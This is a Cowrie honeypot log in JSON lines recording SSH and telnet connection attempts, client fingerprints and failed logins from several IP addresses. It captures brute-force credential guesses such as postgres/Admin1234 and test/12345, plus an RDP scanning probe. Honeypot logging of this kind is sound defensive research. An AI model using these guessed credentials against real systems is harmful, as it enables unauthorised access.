{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:56:46.763534Z","src_ip":"186.113.245.157","session":"43817a984ebb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":57610,"dst_ip":"10.17.0.5","dst_port":23,"session":"440fc1ca78ad","protocol":"telnet","message":"New connection: 104.245.105.2:57610 (10.17.0.5:23) [session: 440fc1ca78ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:56:48.202111Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":52218,"dst_ip":"10.17.0.5","dst_port":23,"session":"f08f33d042fa","protocol":"telnet","message":"New connection: 104.245.105.2:52218 (10.17.0.5:23) [session: f08f33d042fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:57:05.444042Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":48856,"dst_ip":"10.17.0.5","dst_port":23,"session":"6bbbaf3e40c8","protocol":"telnet","message":"New connection: 104.245.105.2:48856 (10.17.0.5:23) [session: 6bbbaf3e40c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:57:14.695262Z"}
{"eventid":"cowrie.session.closed","duration":31.318020343780518,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:57:19.520001Z","src_ip":"104.245.105.2","session":"440fc1ca78ad","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"14.225.217.138","src_port":57382,"dst_ip":"159.203.135.109","dst_port":22,"session":"d461ce028e08","protocol":"ssh","message":"New connection: 14.225.217.138:57382 (159.203.135.109:22) [session: d461ce028e08]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:57:25.824603Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:57:25.835289Z","src_ip":"14.225.217.138","session":"d461ce028e08","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:57:26.099820Z","src_ip":"14.225.217.138","session":"d461ce028e08","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test2","password":"pass","message":"login attempt [test2/pass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:57:27.186452Z","src_ip":"14.225.217.138","session":"d461ce028e08","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":60096,"dst_ip":"10.17.0.5","dst_port":23,"session":"42727fd30301","protocol":"telnet","message":"New connection: 104.245.105.2:60096 (10.17.0.5:23) [session: 42727fd30301]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:57:28.327949Z"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:57:28.454409Z","src_ip":"14.225.217.138","session":"d461ce028e08","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.421830654144287,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:57:36.865747Z","src_ip":"104.245.105.2","session":"f08f33d042fa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"186.113.245.157","src_port":56742,"dst_ip":"159.203.135.109","dst_port":22,"session":"08a30cad9c87","protocol":"ssh","message":"New connection: 186.113.245.157:56742 (159.203.135.109:22) [session: 08a30cad9c87]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:57:43.811762Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:57:43.816093Z","src_ip":"186.113.245.157","session":"08a30cad9c87","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:57:43.906383Z","src_ip":"186.113.245.157","session":"08a30cad9c87","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tester","password":"123123","message":"login attempt [tester/123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:57:44.296440Z","src_ip":"186.113.245.157","session":"08a30cad9c87","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:57:45.389244Z","src_ip":"186.113.245.157","session":"08a30cad9c87","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.84736490249634,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:57:47.542500Z","src_ip":"104.245.105.2","session":"6bbbaf3e40c8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.58575129508972,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:58:03.913570Z","src_ip":"104.245.105.2","session":"42727fd30301","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"14.225.217.138","src_port":53482,"dst_ip":"159.203.135.109","dst_port":22,"session":"8d1a60aefcad","protocol":"ssh","message":"New connection: 14.225.217.138:53482 (159.203.135.109:22) [session: 8d1a60aefcad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:58:26.318325Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:58:26.323409Z","src_ip":"14.225.217.138","session":"8d1a60aefcad","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:58:26.602071Z","src_ip":"14.225.217.138","session":"8d1a60aefcad","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest","password":"guest2023","message":"login attempt [guest/guest2023] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:58:27.734578Z","src_ip":"14.225.217.138","session":"8d1a60aefcad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:58:29.013585Z","src_ip":"14.225.217.138","session":"8d1a60aefcad","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.113.245.157","src_port":45740,"dst_ip":"159.203.135.109","dst_port":22,"session":"3de39aba69c9","protocol":"ssh","message":"New connection: 186.113.245.157:45740 (159.203.135.109:22) [session: 3de39aba69c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:58:42.273052Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:58:42.277262Z","src_ip":"186.113.245.157","session":"3de39aba69c9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:58:42.370383Z","src_ip":"186.113.245.157","session":"3de39aba69c9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"12345","message":"login attempt [test/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:58:42.767962Z","src_ip":"186.113.245.157","session":"3de39aba69c9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:58:43.862282Z","src_ip":"186.113.245.157","session":"3de39aba69c9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":44584,"dst_ip":"10.17.0.5","dst_port":23,"session":"c8a70924961a","protocol":"telnet","message":"New connection: 104.245.105.2:44584 (10.17.0.5:23) [session: c8a70924961a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:58:51.603716Z"}
{"eventid":"cowrie.session.connect","src_ip":"125.122.61.241","src_port":50842,"dst_ip":"10.17.0.5","dst_port":23,"session":"4c47ad159dce","protocol":"telnet","message":"New connection: 125.122.61.241:50842 (10.17.0.5:23) [session: 4c47ad159dce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:59:06.442580Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":53968,"dst_ip":"10.17.0.5","dst_port":23,"session":"7b8e2733f657","protocol":"telnet","message":"New connection: 104.245.105.2:53968 (10.17.0.5:23) [session: 7b8e2733f657]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:59:06.856877Z"}
{"eventid":"cowrie.session.closed","duration":12.784687757492065,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:59:19.227180Z","src_ip":"125.122.61.241","session":"4c47ad159dce","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.911470651626587,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:59:23.515095Z","src_ip":"104.245.105.2","session":"c8a70924961a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"14.225.217.138","src_port":59992,"dst_ip":"159.203.135.109","dst_port":22,"session":"bbaa2bab8102","protocol":"ssh","message":"New connection: 14.225.217.138:59992 (159.203.135.109:22) [session: bbaa2bab8102]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:59:24.721175Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:59:24.725115Z","src_ip":"14.225.217.138","session":"bbaa2bab8102","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:59:25.000551Z","src_ip":"14.225.217.138","session":"bbaa2bab8102","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"Admin1234","message":"login attempt [postgres/Admin1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:59:26.138610Z","src_ip":"14.225.217.138","session":"bbaa2bab8102","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:59:27.418108Z","src_ip":"14.225.217.138","session":"bbaa2bab8102","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":36834,"dst_ip":"10.17.0.5","dst_port":23,"session":"48cb545c652a","protocol":"telnet","message":"New connection: 104.245.105.2:36834 (10.17.0.5:23) [session: 48cb545c652a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:59:29.491026Z"}
{"eventid":"cowrie.session.connect","src_ip":"186.113.245.157","src_port":34732,"dst_ip":"159.203.135.109","dst_port":22,"session":"31530d99ffd2","protocol":"ssh","message":"New connection: 186.113.245.157:34732 (159.203.135.109:22) [session: 31530d99ffd2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:59:40.620404Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:59:40.630878Z","src_ip":"186.113.245.157","session":"31530d99ffd2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:59:40.722848Z","src_ip":"186.113.245.157","session":"31530d99ffd2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"abcd1234","message":"login attempt [test/abcd1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:59:41.127883Z","src_ip":"186.113.245.157","session":"31530d99ffd2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:59:42.223204Z","src_ip":"186.113.245.157","session":"31530d99ffd2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":44164,"dst_ip":"10.17.0.5","dst_port":23,"session":"d9c354ce177c","protocol":"telnet","message":"New connection: 104.245.105.2:44164 (10.17.0.5:23) [session: d9c354ce177c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:59:43.305134Z"}
{"eventid":"cowrie.session.closed","duration":39.542786836624146,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:59:46.399554Z","src_ip":"104.245.105.2","session":"7b8e2733f657","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.94634485244751,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:00:01.437257Z","src_ip":"104.245.105.2","session":"48cb545c652a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.252.223","src_port":52763,"dst_ip":"10.17.0.5","dst_port":22,"session":"ca99b1823549","protocol":"ssh","message":"New connection: 103.149.252.223:52763 (10.17.0.5:22) [session: ca99b1823549]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:00:05.545231Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:00:05.550125Z","src_ip":"103.149.252.223","session":"ca99b1823549","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:00:05.554418Z","src_ip":"103.149.252.223","session":"ca99b1823549","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":36350,"dst_ip":"10.17.0.5","dst_port":23,"session":"e648905f19de","protocol":"telnet","message":"New connection: 104.245.105.2:36350 (10.17.0.5:23) [session: e648905f19de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:00:10.704289Z"}
{"eventid":"cowrie.session.closed","duration":30.956305027008057,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:00:14.261348Z","src_ip":"104.245.105.2","session":"d9c354ce177c","protocol":"telnet"}
